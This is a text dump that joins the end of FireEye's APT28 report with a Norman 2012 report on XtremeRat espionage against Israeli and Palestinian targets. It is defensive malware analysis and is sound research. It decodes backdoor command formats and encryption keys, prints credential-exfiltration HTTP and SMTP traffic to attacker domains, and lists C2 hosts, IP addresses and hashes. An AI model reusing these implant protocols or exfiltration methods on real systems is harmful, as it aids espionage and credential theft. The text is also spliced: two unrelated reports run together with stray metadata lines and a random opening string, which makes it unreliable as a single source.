zXeuYqsq2m1a5HcqyC5Zd6yrC2WNYL989WCHse9qO6c7powrOUh5KY 32 fireeye.com APT 28: A Window into Russias Cyber Espionage Operations? When Base64 decoded, the POST content looks like this: 00000000 cd 77 ae 62 af ac ab 69 b5 6b 91 dc ab 20 b9 65 .w.b...i.k... .e 00000010 de b2 ac 2d 96 35 82 fd f3 d5 82 1e c7 bd a8 ee ...-.5.......... 00000020 9c ee 9a 30 ac e5 21 e4 a6 ...0.... The key used to encrypt the message is six bytes long and is appended to the end of the message. In this is example the key would be: 30 ac e5 21 e4 a6. When the message is decrypted, the resulting plaintext is: 00000000 00 72 68 64 6e 7a 78 64 66 6d 46 36 66 35 61 68 .rhdnzxdfmF6f5ah 00000010 34 78 67 30 34 30 33 30 35 30 31 1a 00 00 00 23 4xg04030501.... 00000020 00 00 00 ... The following table contains a breakdown of each of the fields C2 message. Table 6: Example CORESHELL beacon structure Offset Value Description 00 00 Command byte: 0 - Command request 1 - Process listing 01 rhdn Unknown - Potentially a campaign identifier. Values seen so far: rhze, rhdn and mtfs. 05 zxdfmF6f5ah4xg Hostname of compromised system 13 0403 Unknown - Potentially a version number. This number is hardcoded within the implant. 17 05 OS Major version 19 01 OS Minor version 1B 0x0000001a Header length minus the command byte (LE DWORD) 1F 0x00000023 Length of the entire message (LE DWORD) 33 fireeye.com APT 28: A Window into Russias Cyber Espionage Operations? Commands are sent from the C2 server to the CORESHELL backdoor in HTTP responses to the POST requests. The command is identified by the NULL terminated UNICODE string OK (O\x00\K\x00\x00\ x00). The command is Base64 encoded and immediately follows the OK string. Figure 12 shows a sample CORESHELL command: The Base64 decoded string is: 00000000 01 00 00 00 AA AA 01 01 01 01 01 01 01 01 10 41 ........ .......A 00000010 70 41 10 42 33 42 D3 43 F2 43 92 44 B5 44 55 45 pA.B3B.C .C.D.DUE 00000020 74 45 14 46 37 46 D7 tE.F7F. The following table contains a description of each field in the command message: Figure 12: Example CORESHELL controller response HTTP/1.1 200 OK Content-Type: text/html charsetutf-8 Content-Length: 58 O.K...AQAAAKqqAQEBAQEBAQEVzPMEUUIzQtND8kOSRLVEVUV0RRRGN0bX Table 7: CORESHELL C2 message structure Offset Value Description 00 0x00000001 Constant value, must be set to 1 (LE DWORD) 04 AA AA Unknown - not referenced 06 01 01 01 01 01 01 01 01 Encryption key (8 bytes) 0E 10 41 70 41 10 42 33... Encrypted command 34 fireeye.com APT 28: A Window into Russias Cyber Espionage Operations? When the above command 10 41 70 41 10 42 33 is decrypted using the key 01 01 01 01 01 01 01 01 the following command message is produced: 00000000 04 CC C2 04 00 42 42 42 42 43 43 43 43 44 44 44 .....BBBBCCCCDDD 00000010 44 45 45 45 45 46 46 46 46 DEEEEFFFF The implant supports the following four command identifiers from the controller as seen in Table 8. The first byte of the command message specifies the command type and is immediately followed by the PE or shellcode to be executed. In this example the command byte is 04 indicating the following bytes are shellcode. If the command byte was 01, 02, or 03 the following bytes would be a DLL or EXE that would be written to disk and executed. Table 8: CORESHELL commands Command ID Description 01 Save command data as LOCALAPPDATA\svchost.exe and execute using CreateProcess. 02 Save command data as LOCALAPPDATA\conhost.dll and execute using rundll32.exe \s\,1. 03 Save command data as LOCALAPPDATA\conhost.dll and execute using LoadLibrary. 04 Command data is a shell code and is executed using CreateThread. 35 fireeye.com APT 28: A Window into Russias Cyber Espionage Operations? CHOPSTICK is a backdoor that uses a modularized, object-oriented framework written in C. This framework allows for a diverse set of capabilities across malware variants sharing a common code base. CHOPSTICK may communicate with external servers using SMTP or HTTP. This appendix documents variants using HTTP communications. The first time CHOPSTICK is executed, it may encrypt and store configuration data in the Registry key HKU\S-1-5-19_Classes\Software\Microsoft\MediaPlayer\E6696105-E63E-4EF1-939E- 15DDD83B669A\chnnl. The user HKU\S-1-5-19 corresponds to the LOCAL_SERVICE account SID. The configuration block is encrypted using RC4 encryption. The key is a combination of a 50-byte static key and a four-byte salt value randomly generated at runtime. The static key is derived from opcodes in the backdoor. CHOPSTICK collects detailed information from the host including the Windows version, CPU architecture, Windows Firewall state, User Account Control (UAC) configuration settings on Windows Vista and above and Internet Explorer settings. It also tests for the installation of specific security products (Table 9) and applications (Table 10). Table 9: Endpoint security products detected by CHOPSTICK Service Name Security Product Acssrv Agnitum Client Security AVP Kaspersky SepMasterService Symantec McAfeeService McAfee AntiVirService Avira Ekrn ESET DrWebAVService Dr. Web Enterprise Security MBAMService Malwarebytes Anti-Malware APPENDIX D: CHOPSTICK 36 fireeye.com APT 28: A Window into Russias Cyber Espionage Operations? Table 10: Applications detected by CHOPSTICK Process Name Application firefox.exe Mozilla Firefox iexplore.exe Internet Explorer outlook.exe Microsoft Outlook opera.exe Opera Browser bat.exe Unknown msimn.exe Outlook Express vpngui.exe Cisco Anyconnect VPN client ipseca.exe IPsec VPN client ipsecc.exe IPsec VPN client openvpn.exe OpenVPN client openssl.exe OpenSSL openvpn-gui-1.0.3.exe OpenVPN client msmsgs.exe Microsoft Messenger wuauclt.exe Windows Update chrome.exe Google Chrome Browser thebat.exe The Bat Secure Email Client skype.exe Skype Messenger 37 fireeye.com APT 28: A Window into Russias Cyber Espionage Operations? After collecting host information, CHOPSTICK creates a hidden file that may be named ALLUSERSPROFILE\edg6EF885E2.tmp for temporary storage and creates a Windows mailslot with the name check_mes_v5555.28 Its usage of a Windows mailslot would potentially allow external binaries to write data to the check_mes_v5555 mailslot, possibly allowing CHOPSTICK to encrypt and store output from other malware. It creates a thread that records user activity on the host, capturing desktop screenshots in JPEG format, tracks current window focus, collects keystrokes, and scrapes window contents (text, context menus, etc. ). User activity is captured once every 500 milliseconds and logged in an HTML-like format. The thread writes user activity log messages to the check_mes_v5555 mailslot in plain text. CHOPSTICK reads messages from the mailslot, encrypts them using RC4, and then stores the encrypted message in an edg6EF885E2.tmp temporary file. The RC4 encryption used here also uses a 50- byte static key plus four-byte random salt value. After approximately 60 seconds of execution time, CHOPSTICK begins communicating with one of its C2 servers over HTTP. After sending an initial HTTP GET request it uploads the file contents of edg6EF885E2. tmp to the C2 server using HTTP POST requests. It does not wait for a response from the server to begin uploading. Once the contents of edg6EF885E2.tmp are uploaded, CHOPSTICK deletes the file. Figure 13 below contains an example of an HTTP POST request uploading a segment from edg6EF885E2.tmp. Figure 13: Sample CHOPSTICK v2 HTTP POST POST /search/?btnGD-3U5vYutm79iNIaiNPVUnAZf8FneZ2e_qptjzwH1QPG3ptn- B9onK2KCi HTTP/1.1 Accept: text/html,application/xhtmlxml,application/xmlq0.9,q0.8 Accept-Language: en-us,enq0.5 Accept-Encoding: gzip, deflate User-Agent: Mozilla/5.0 (Windows NT 6. WOW64 rv:20.0) Gecko/20100101 Firefox/20.0 Host: windows-updater.com Content-Length: 77 Cache-Control: no-cache 1b2x7F4Rsi8_e4N_sYYpu1m7AJcgN6BzDpQYv1P2piFBLBqghXiHY3SIfe8cUHHYojeXfeyyOhw 28A mailslot is a Windows inter-process communication (IPC) mechanism similar to a named pipe, but is designed for one-way communications between processes and can also be used across the network. 38 fireeye.com APT 28: A Window into Russias Cyber Espionage Operations? CHOPSTICK uses a URL-safe Base64 encoding, using an alphabet that substitutes and / for - and _, respectively. Each HTTP request contains multiple Base64 encoded URL parameters, however only one parameter contains information encoded by the malware (ai) and the rest of the URL parameters appear to be randomly generated per request. CHOPSTICK encrypts an 11-byte sequence in the ai parameter. The purpose of this parameter appears to be to uniquely identify the particular instance of the backdoor to the C2 server. The Base64 encoded text of this parameter begins with a number of randomly generated alphabetical characters presumably intended to prevent people from Base64 decoding the whole string without some knowledge of how the malware family works. The first four bytes of the message are an XOR key for the remainder of the data. Once decrypted using the XOR key, an 11-byte sequence is revealed. The first seven bytes are static, and are hard-coded in CHOPSTICK, while the last four bytes appear to be unique. The message body of the POST request is also Base64 encoded. This encoded string is also prefixed with random characters designed to break the output of a Base64 decode operation on the entire string. The first 15 bytes of the decoded message body comprise another 11-byte sequence similar to the sequence stored in the ai parameter as described above. Decrypting these bytes yields another static seven-byte sequence, followed by four unique bytes. The remainder of the message body consists of the RC4 encrypted data containing the HTML-formatted user activity log, edg6EF885E2.tmp. After uploading edg6EF885E2.tmp, CHOPSTICK continues to query its C2 servers for commands using HTTP GET requests. The malware contains code which allows it to load or memory-map external modules that export the following functions: SendRawPacket, GetRawPacket, InitializeExp, DestroyExp, IsActiveChannel, GetChannelInfo, SetChannelInfo, Run, GetModuleInfo, GiveMessage, and TakeMessage. 39 fireeye.com APT 28: A Window into Russias Cyber Espionage Operations? Modularity CHOPSTICK backdoors are compiled within a modularized development framework. This means that two separate CHOPSTICK backdoors may contain vastly different functionality, depending on which modules were included at compile time. The modules that are included in an instance of CHOPSTICK may be reported to the C2 server as part of POST messages. Figure 14 includes an example from a CHOPSTICK v1 variant: Figure 14: Sample CHOPSTICK v1 HTTP POST including module identification POST /webhp?relpsyhl7aid2SSzFKlR4l0dRd_ZdyiwE17aTzOPeP-PVsYh1lVAXpLhIebB4 HTTP/1.1 Accept: text/html,application/xhtmlxml,application/xmlq0.9,/q0.8 Accept-Language: en-us,enq0.5 Accept-Encoding: gzip, deflate User-Agent: Mozilla/5.0 (Windows NT 6. WOW64 rv:20.0) Gecko/20100101 Firefox/20.0 Host: adobeincorp.com Content-Length: 71 Cache-Control: no-cache d2SSzFKchH9IvjcM55eQCTbMbVAU7mR0IK6pNOrbFoF7Br0Pi__0u3Sf1Oh30_HufqHiDU 40 fireeye.com APT 28: A Window into Russias Cyber Espionage Operations? To decode the POST content, the first step is to remove characters from the Base64 string (the number of characters to remove may vary between different communication channels). In the example from Figure 14, the number of characters removed is seven. Once these characters are removed the decoded (but still encrypted) text looks like this: 00000000 72 11 fd 22 f8 dc 33 9e 5e 40 24 db 31 b5 40 53 r....3..1.S 00000010 b9 91 d0 82 ba a4 d3 ab 6c 5a 05 ec 1a f4 3e 2f ........lZ..../ 00000020 ff d2 ed d2 7f 53 a1 df 4f c7 b9 fa 87 88 35 .....S..O.....5 The first two words (72 11 and fd 22) are checksums that are used to validate the message. The next 4 bytes f8 dc 33 9e are a salt value that is appended to the end of an RC4 key. Once decrypted, the message looks like the following: 00000000 72 11 fd 22 f8 dc 33 9e 56 34 4d 47 4e 78 5a 57 r....3.V4MGNxZW 00000010 6c 76 63 6d 68 6a 4f 47 39 79 5a 51 3d 3c 3c ee lvcmhjOG9yZQ. 00000020 01 00 00 01 00 23 01 10 23 01 11 23 01 13 23 ........... The strings V4MGNxZWlvcmhjOG9yZQ and \xee are hardcoded in the implant. The module information starts at offset 0x20 with the string 01 00 00 and is formatted as follows: Table 11: Example CHOPSTICK v1 message format Offset Value Description 00 0x0001 Message from the AgentKernel v1 02 00 Command ID 03 01 00 23 01 10 23 01 11 23 01 13 23 List of modules included in the implant separated by a character 41 fireeye.com APT 28: A Window into Russias Cyber Espionage Operations? The modules included in this CHOPSTICK v1 implant are: Our determination of a CHOPSTICK v1 versus v2 is based on the self-identification of the kernel ID and associated modules. Compare the list of CHOPSTICK v1 modules in Table 12 with the list of modules in an example CHOPSTICK v2 variant in Table 13: Table 12: Example CHOPSTICK v1 module list Module ID Internal Module Name Description 0x0001 AgentKernel Kernel, probably version 1. Handles communication between modules and C2 tunnels. 0x1001 modKey Logs keystrokes and takes screen captures. 0x1101 modFS Facilitates file system access, such as directory browsing along with reading, deleting and opening files. 0x1301 modProcRet Remote command shell access. Table 13: Example CHOPSTICK v2 module list Module ID Internal Module Name Description 0x0002 kernel Kernel, probably version 2. Handles communication between modules and C2 tunnels. 0x1002 Logs keystrokes and takes screen captures. 0x1102 Facilitates filesystem access, such as directory browsing along with reading, deleting and opening files. 0x1302 Remote command shell access. 0x1602 Load additional DLLs. 42 fireeye.com APT 28: A Window into Russias Cyber Espionage Operations? The kernel IDs 0x0001 and 0x0002 indicate different versions. The corresponding modules in each backdoor also are consistently identified with 0x01 and 0x02, respectively, in the second byte. In both variants the modules with keystroke log, file system access, and command shell capabilities have the consistent identifiers 0x10, 0x11, and 0x13, respectively, in the first byte. This suggests that the first byte in the module ID identifies the module type whereas the second byte identifies the kernel version. The kernel sends commands to each module using its module ID. The commands that each module understands are likely consistent from build to build. Table 14 and Table 15 show examples of commands that each module understands. Table 14: Commands understood by modFS (0x1101) module Command ID Description Example 01 Find file \x01\x11\x01Directoryfile[01] 02 Read file \x01\x11\x02Directoryfile[01] 03 Write file \x01\x11\x03Directoryfile[Contents] 04 Delete file \x01\x11\x04Directoryfile[01] 05 Execute file \x01\x11\x05Directoryfile[01] Table 15: Commands understood by modProcRet (0x1301) module Command ID Description Example 00 CMD.exe output \x01\x13\x00[Output] 01 CMD.exe start \x01\x13\x01 02 CMD.exe exit \x01\x13\x02 11 CMD.exe input \x01\x13\x11[Input] 43 fireeye.com APT 28: A Window into Russias Cyber Espionage Operations? OLDBAIT is a credential harvester that installs itself in ALLUSERPROFILE\\Application Data\ Microsoft\MediaPlayer\updatewindws.exe. There is a missing space in the MediaPlayer directory and the filename is missing the o character. Both the internal strings and logic are obfuscated and are unpacked at startup. Credentials for the following applications are collected: Internet Explorer Mozilla Firefox Eudora The Bat (an email client made by a Moldovan company) Becky (an email client made by a Japanese company) Both email and HTTP can be used to send out the collected credentials. Sample HTTP traffic is displayed in Figure 15. Figure 15: Example OLDBAIT HTTP traffic POST /index.php HTTP/1.0 Accept: text/html Accept-Language: en-us Content-Type: application/x-www-form-urlencoded Content-Length: 6482 User-Agent: Mozilla/4.0 (compatible MSIE 6.0 Windows NT 5.1) Host: windous.kz Connection: Keep-Alive Pragma: no-cache prefsC789Cu0Zacq7acr0D7LUawy6CY4REIaZBciWc6yVCN--cut-- APPENDIX E: OLDBAIT 44 fireeye.com APT 28: A Window into Russias Cyber Espionage Operations? OLDBAIT handles APIs very similarly to SOURFACE and EVILTOSS. There is a setup routine that loads the imports into a table and all API calls reference an index to this table. In SOURFACE and EVILTOSS the table is stored in a global variable while in OLDBAIT this table is allocated at runtime and a pointer is passed between functions. Figure 16: Example OLDBAIT SMTP traffic From: lisa.cuddywind0ws.kz To: dr.housewind0ws.kz Subject: photo(9a3d8ea4-test) Date: Tue, 23 Sep 2014 15:42:56 -0500 MIME-Version: 1.0 Content-Type: text/plain charsetus-ascii Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 6.00.2900.2670 X-MimeOLE: Produced By Microsoft MimeOLE v6.00.2900.2670 X-Spam: Not detected STARTPOINT qVV5KyHocV3FkUeENvu9LnVIlRB0YTa7xhoTwhRlIBBI7gRzVxikQXDRkdy4vGt1WfBtg9Utzbny UhusXJHZ9Esecqq0UKg5Ul1O2E2OiyBTnGDPdP00UMRx/E2it/10wQyH/epo8zuLnCuxPe7BK --cut--- hUMWBLP7h5ZojN ENDPOINT 45 fireeye.com APT 28: A Window into Russias Cyber Espionage Operations? FireEye, Inc. 1440 McCarthy Blvd. Milpitas, CA 95035 408.321.6300 877.FIREEYE (347.3393) infofireeye.com www.fireeye.com 2014 FireEye, Inc. All rights reserved. FireEye is a registered trademark of FireEye, Inc. All other brands, products, or service names are or may be trademarks or service marks of their respective owners. SP.APT28.EN-US.102014 Systematic cyber attacks against Israeli and Palestinian targets going on for a year By Snorre Fagerland Principal Security Researcher Norman AS, November 2012 Norman, November 2012 2 Summary We have observed multiple probable malware attacks against Israeli and Palestinian targets. These attacks are likely performed by the same attacker, as the malware in question communicate with the same command- and control structures, and in many cases are signed using the same digital certificate. These attacks have been ongoing for at least a year seemingly first focused on Palestinians, then Israelis. The attacker is unknown at this point, but the purpose is assumed to be espionage/surveillance. Norman, November 2012 3 Introduction Recently, media (1) reported of a targeted attack against the Israeli government, in the form of emails purporting to come from IDF Chief of Staff Benny Gantz with a malicious attachment. This was an interesting development Israel has, as far as we know, not been very targeted by spear phishing attacks like this. In the following text we will usually be referring to the actual malware files we uncovered by their MD5 hash, which is a number that uniquely (well, uniquely enough) identifies the file in question. http://blogs.norman.com/?attachment_id3443 Norman, November 2012 4 The initial reported malware While we dont have visibility into Israeli government mails, we do receive a lot of suspicious executable files, and a little digging gives results. We found one file which matched the reports: IDF strikes militants in Gaza Strip following rocket barrage.doc----------------------------------------------.scr. This is an executable file, but the icon looks like a document icon, and the very long name makes the .scr extension hard to spot - particularly if the executable comes packaged in an archive, as was reportedly the case here. This executable itself is a WinRAR selfextracting (SFX) archive, which contains several other files: Word.exe, an XtremeRat backdoor executable 2.ico, an icon file barrage.doc, an innocent document containing pictures (above) XtremeRat is a commercially available backdoor trojan which has been used in many attacks, targeted and otherwise, over the years. It gained some notoriety in connection with attacks against Syrian activists along with other off-the-shelf trojans such as BlackShades and DarkComet. Norman, November 2012 5 The digital signature An interesting feature of this exact XtremeRat is that it is digitally signed seemingly by Microsoft: The certificate chain ends in an untrusted (faked) root certificate so it will not validate properly. Nevertheless the certificate is useful for us, as it can be used to find related cases. All certificates are issued with a serial number which normally is quite unique, as it is supposed to be an identifier within the scope of its issuer. So, querying our databases for this particular faked certificate returns a number of files which are probably the products of our Israel-hostile attacker. These files were received in intervals through the fall and summer, going back to May 2012, and reveal more hints about targets. Several of them are self extracting archives containing extra files, such as documents, links and even video. The following pages display some of the bait information the new files contain. http://blogs.norman.com/?attachment_id3427 http://blogs.norman.com/?attachment_id3433 Norman, November 2012 6 Word document, contained in SFX RAR file 66DDF27517985A75B2317231B46A6F62 Word document, contained in SFX RAR file 4A06D9989A8C3A9967C2011E5BAF3010 Report.doc...................................................... .......................................................................... .............exe http://blogs.norman.com/?attachment_id3444 http://blogs.norman.com/?attachment_id3435 Norman, November 2012 7 Word document, contained in SFX RAR file 15FC009D9CAAA8F11D6C3DA2B69EA06E Silence of the Jews make the Church of the Nativity of the Palestinians.doc-----------.scr Found in Israel Word document, contained in SFX RAR file 940B3ACDF1E26FCCCF74A5A0359FB079 IDF NEWS[RTLO]cod. SCR Norman, November 2012 8 3gp video, contained in SFX RAR file 9C39D6F52E1E1BE5AE61BAB90971D054 A Rood Awakening Michael Rood .3gp-------- -------------------------------.scr Found in Israel Word document, contained in SFX RAR file 9D144A828F757A90B86976EF0C906B3F Norman, November 2012 9 Word document, contained in SFX RAR file D14E0A3D408065B1551F2827B50B83CA Word document, contained in SFX RAR file C8202523F35295E8BC8CC1731EDB0559 Norman, November 2012 10 Word document, contained in SFX RAR file C21D7165B25CAF65D7F92FF758C1B5B1 The first conference of Dr. Mohamed Morsi, after winning.doc---------------.scr YouTube URL contained in SFX RAR file 5B740B4623B2D1049C0036A6AAE684B0 -----------------------------------------[RTLO] .wmv------------------.scr Found in Israel Norman, November 2012 11 Word document, contained in SFX RAR file 72fd6074915f8f123eb44b3dd475d36b TShehab[RTLO]cod.scr Found in Israel Norman, November 2012 12 Command Control The involved malwares connect to external hosts controlled by the attackers. These belong to various DynDNS services, and at the time of writing resolve to IP addresses located with hosting services in the US. Samples in yellow connecting to CC hosts (green). All are digitally signed and connected through the blue certificate node in the middle. This is where the trail could have ended. However, there are still clues to look at for example, what other executables connect to these CC hosts. This time, digging into our Malware Analyzer G2 (MAG2) databases shows that there is more malware talking to this infrastructure, and these bots again connect to more CC domains. These new malwares are also predominantly XtremeRats. However, they have been in circulation for a longer time all the way back to October 2011. I think it is logical to assume that all these have been part of a medium/large surveillance operation. http://blogs.norman.com/?attachment_id3476 Norman, November 2012 13 When updated with this information the plot now looks like this: Same as previous illustration, where new unsigned samples are shown to be related through the usage of the same CC infrastructure. Colours have changed now the certificate is green, the CC servers are yellow, the samples are blue, while IP addresses are purple. These IP addresses can be considered examples they change regularly. Several of these domains appear to be hosted together. For example (at the time of writing): 108.171.108.190 is pointed to by may2008.dyndns.info, menu.dyndns.biz, flashsoft.no-ip.biz, monagameel.chickenkiller.com, powerhost.zapto.org 108.171.124.13 is pointed to by helpme.no-ip.biz, mjed10.no-ip.info 69.80.101.244 is pointed to by good.zapto.org, hint.zapto.org, hint1.zapto.org, natco1.no-ip.net, natco2.no-ip.net, natco3.no-ip.net, natco4.no-ip.net, loading.myftp.org, skype.servemp3.com, test.cable-modem.org These addresses tend to change. Typically, every couple of days a new IP configuration is introduced for some boxes, while others may remain static such as the host lokia.mine.nu, which has resolved to 69.80.107.129 since we started examining the case. As mentioned, the IP addresses in use have belonged to mostly US-based hosting servicesat least recently. Norman, November 2012 14 If we go further back in time (towards spring of 2012) most of the domains used resolved to IP addresses in the range 188.161.. This range is located in Gaza and belongs to a provider headquartered in Ramallah in the West Bank: Palestinian Territory, Occupied Gaza Palestine Telecommunications Company (paltel), ASN: AS12975 We have also to a lesser extent seen IP addresses in use belonging to another Paltel division: Palestinian Territory, Occupied Gaza Hadara Technologies Private Shareholding Company, ASN: AS15975 What is behind these IP addresses is hard to establish. It is possible that they are hacked boxes, and as such not give much valid information. If that were the case, one might have expected greater IP range and geographical distribution, but nothing is certain. Our databases also show that there is much more malware talking to these providers through many other DynDNS domains. Some of these are probably also related to this case, but as we have no evidence linking the cases, these malwares have not been included in this paper. It is however interesting to note the hostnames some of these connect to like terroristttt.no- ip.biz. Norman, November 2012 15 The plot thickens So far, the impression is of an attack actor attempting to gather information from Israelis. Then something happens that throws this picture in disarray. A series of samples show up that do not follow the pattern. They apparently do not target Israelis. Instead they use Arabic language and refer to Palestinian issues. This document in Arabic claims that Mahmoud Abbas is threatened by assassination by Mossad if he does not stop his reconciliation policy towards Hamas. The image is taken from a news story about Abbas speaking at a meeting in Ramallah. Word document contained in EXE file FC17F3B2E2C7F5F24D35899D95B8C4A6 Norman, November 2012 16 The sample containing this video is digitally signed in the same way as the initial samples, but the baiting angle is different. Instead of showing information interesting for an Israeli audience, the video contains a music piece critical of Mahmoud Abbas, claiming that he is not working for the good of the Palestinian people. MP4 video contained in EXE file 2AAD951DBECB6D4715B306B337CA5C34 Norman, November 2012 17 This document revolves around the prisoner exchange deal with the Israeli government over the Israeli soldier Gilad Shalit, held hostage by Hamas for over five years. This image appears purportedly to be of Gilad Shalit in his hostage cell. This could be aimed at Israelis, but the image itself has been mostly shown on Arabic/Palestinian sites like www.shehab.ps, a news agency located in Gaza. Word document contained in SFX ZIP file B4F5BFC0AB0CC3D6B7A6B9653784DE56 Found in Palestine JPEG image contained in EXE file 0AA7B256D2DCC8BD3914F895B134B225 Norman, November 2012 18 This document is an interview with the former Palestinian ambassador and Member of Parliament Nabil Amr. He is known to have been critical of Arafat and later Abbas. Word document contained in EXE file 926235FCF7B91442A405B5760A0729EB Norman, November 2012 19 We also see attacks apparently against Palestinian targets without being able to tie them up against the already mentioned attack/CC structure. For example, a file received by us as d.exe, (MD5 1f1e9958440d773c34415d9eb6334b25), found in Palestine Nov 17th last year, shows a PDF document with content seemingly taken from Palestine Now (www.paltimes.net): PDF document contained in the EXE file 1F1E9958440D773C34415D9EB6334B25 Found in Palestine Norman, November 2012 20 Document metadata Most of the bait attachments are Word documents, and Word documents can contain metadata (typically the usernames of the creator and the one who last saved the document). It is possible to scrub these details, but our attackers seem to have forgotten this or inserted faked data. Palestinian baits: Hmas.doc: Created by Hitham, saved by anar date Oct 12th 2011 484hhh.doc: Created by Hitham, saved by Ayman date Nov 27th 2011 Word.doc: Created and saved by Tohan date Feb 18th 2012 Israeli baits: word.doc: Created by ahmed, saved by aert date May 14th 2012 IDF NEWS.doc: Created and saved by aert date May 26th 2012 Brotherhood.doc: Created and saved by aert date Jun 24th 2012 detl.doc: Created and saved by aert date Jun 29th 2012 Advisor.doc: Created and saved by HinT date Jul 29th 2012 IDF.doc: Created and saved by aert date Aug 1st 2012 System.doc: Created and saved by HinT date Aug 5th 2012 York.doc: Created and saved by HinT date Oct 16th 2012 barrage.doc : Created and saved by HinT date Oct 24th 2012 shehab.doc: Created and saved by HinT date Oct 31st 2012 There seems to be a number of people involved in creating these bait files. The dates also roughly coincide with the apparent shift in IP ranges (Appendix B), from first being located in Gaza, to being located internationally. Norman, November 2012 21 Conclusion We have uncovered a substantial number of malware executables that contain information seemingly tailored at Israelis and Palestinians. We have the impression that a cybersurveillance operation is underway (and is probably still ongoing - most recent sample created Oct. 31) which was first mainly focused on Palestinian targets, then shifted towards Israel. The reason for the shift is unknown. Maybe it was planned all along or caused by changes in the political climate or maybe the first half of the operation found data that caused the target change. This analysis is almost exclusively based on the executable files themselves. We have very little information about actual infections. The only documented case is the Benny Gantz-themed email which triggered the investigation. We consider it likely that other attacks have been modeled the same way, using attachments in email. These attachments may often have consisted of the described malicious files inside archives like RAR or ZIP. The attacker is still unknown to us. There are probably several actors that could have an interest in the regional politics, as the various powerblocks in the region are manifold and conflicted. By using largely off-the-shelf malware, the cost of mounting such an operation is considerably lower than for those who do their own malware development. Norman, November 2012 22 References 1. Ravid, Barak.
217
Haaretz.com: Israels Foreign Ministry targeted by computer virus bearing IDF chiefs name.
44,371
44,504
134
data/reports_final/0217.txt
Haaretz.com: Israels Foreign Ministry targeted by computer virus bearing IDF chiefs name. [ Online] http://www.haaretz.com/blogs/diplomania/israel-s-foreign-ministry-targeted-by- computer-virus-bearing-idf-chief-s-name.premium-1.472278. Norman, November 2012 23 Appendix A: CC hostnames may2008.dyndns.info menu.dyndns.biz flashsoft.no-ip.biz monagameel.chickenkiller.com hatamaya.chickenkiller.com powerhost.zapto.org helpme.no-ip.biz mjed10.no-ip.info good.zapto.org hint.zapto.org hint1.zapto.org natco1.no-ip.net natco2.no-ip.net natco3.no-ip.net natco4.no-ip.net loading.myftp.org skype.servemp3.com test.cable-modem.org idf.blogsite.org javaupdate.no-ip.info lokia.mine.nu www.hint-sms.com owner.no-ip.biz remoteback.no-ip.biz ramadi.no-ip.biz The likelihood that there are more names involved is large. There is for example a domain natco5.no-ip.net which resolves to the same IPs as the rest of the series, but we have not seen the malware which uses it yet. Norman, November 2012 24 Appendix B: CC Timeline MD5 Primary CC CC loc. Date first seen A5DE87646EE943CD1F448A67FDBE2817 hint.zapto.org PS 27-Oct-11 F982401E46864F640BCAEDC200319109 natco4.no-ip.net PS 29-Oct-11 EC5B360F5FF6251A08A14A2E95C4CAA4 hint1.zapto.org PS 02-Nov-11 97576FA7A236679DBE3ABE1A4E852026 mjed10.no-ip.info PS 07-Nov-11 C1EC435E97A4A4C5585392D738B5879F monagameel.chickenkiller.com PS 07-Nov-11 2559FE4EB88561138CE292DF5D0E099F powerhost.zapto.org PS 08-Nov-11 0ABF3FA976372CBC8BF33162795E42A8 powerhost.zapto.org PS 14-Nov-11 0B3B1E2E22C548D8F53C2AA338ABD66E hint.zapto.org PS 19-Nov-11 0AA7B256D2DCC8BD3914F895B134B225 hint.zapto.org PS 30-Nov-11 FF8E19CA8A224CC843BF0F2F74A3274E powerhost.zapto.org PS 17-Dec-11 7C5272F3F24ACB225270DDED72CFC1D4 flashsoft.no-ip.biz PS 23-Dec-11 8AEAA0C81A36449EC9613CA846E196F2 menu.dyndns.biz PS 01-Jan-12 2AAD951DBECB6D4715B306B337CA5C34 mjed10.no-ip.info PS 03-Jan-12 926235FCF7B91442A405B5760A0729EB helpme.no-ip.biz PS 12-May-12 963BFAE19B3DA5BECE081DFF1D1E3EF9 hint.zapto.org US 16-May-12 EBC9BDF9FDF0A9773899D96D24AC46F4 powerhost.zapto.org PS 19-May-12 998F30457BC48A1A6567203E0EC3282E powerhost.zapto.org PS 29-May-12 31F96ADD841594D35E6E97376114E756 hint.zapto.org FR 02-Jun-12 6E416C45A833F959A63785892042595A hint.zapto.org PS 02-Jun-12 0DC102CFB87C937EEFFE01A06F94E229 powerhost.zapto.org PS 07-Jun-12 B7DF947B4A67A884C751840F83C4405E hint.zapto.org UK 09-Jun-12 2EB1503751A7C74890096B1837C7BD81 menu.dyndns.biz PS 09-Jun-12 C21D7165B25CAF65D7F92FF758C1B5B1 skype.servemp3.com US 25-Jun-12 0A67F9CC30083AFB7E1F8295AE152BB6 skype.servemp3.com US 25-Jun-12 E9823B61E6CE999387DE821DFBF6E741 good.zapto.org US 10-Jul-12 2AAD951DBECB6D4715B306B337CA5C34 good.zapto.org US 12-Jul-12 ED53831468DDF4220E1DC3C3398F7F39 natco1.no-ip.net US 02-Aug-12 66DDF27517985A75B2317231B46A6F62 natco1.no-ip.net US 02-Aug-12 86BE5F0D2303FB4A8A8E297A53AC0026 lokia.mine.nu US 14-Aug-12 D14E0A3D408065B1551F2827B50B83CA lokia.mine.nu US 29-Aug-12 B6C8A6D6C35428779C5C65C1B273EBA0 menu.dyndns.biz US 04-Sep-12 C03B5985F2504939DA9874246A439E25 lokia.mine.nu US 10-Sep-12 216689B2CA82F16A0CAB3A2712C27DA6 natco2.no-ip.net US 18-Sep-12 9C39D6F52E1E1BE5AE61BAB90971D054 natco3.no-ip.net US 27-Sep-12 E7E05001A294EBFE8A012DD3BCE78E96 may2008.dyndns.biz US 28-Sep-12 F68F85B0FBCA450F0D5C8828063AD30D menu.dyndns.biz US 02-Oct-12 3DA8C22F5340850EE5A2C25B1D17FC27 loading.myftp.org US 03-Oct-12 9D144A828F757A90B86976EF0C906B3F lokia.mine.nu US 21-Oct-12 DBE2AC744A3947B6306E13EBCCB718BF lokia.mine.nu US 21-Oct-12 861C90536B3B5A4A8309ADBBFD5C4713 natco3.no-ip.net US 24-Oct-12 947557A55267DFFB3F85E0D7496A3679 good.zapto.org US 25-Oct-12 2BFE41D7FDB6F4C1E38DB4A5C3EB1211 loading.myftp.org US 25-Oct-12 2BCDC5091C446E8B6888D802A3589E09 loading.myftp.org US 25-Oct-12 72FD6074915F8F123EB44B3DD475D36B idf.blogsite.org US 31-Oct-12 41454B390B73A45004B916B96C693312 javaupdate.no-ip.info US 03-Nov-12 Red hash probable PS target. Blue hash probable IL target. Norman, November 2012 25 Appendix C: MD5 list, main cluster MD5 A5DE87646EE943CD1F448A67FDBE2817 F982401E46864F640BCAEDC200319109 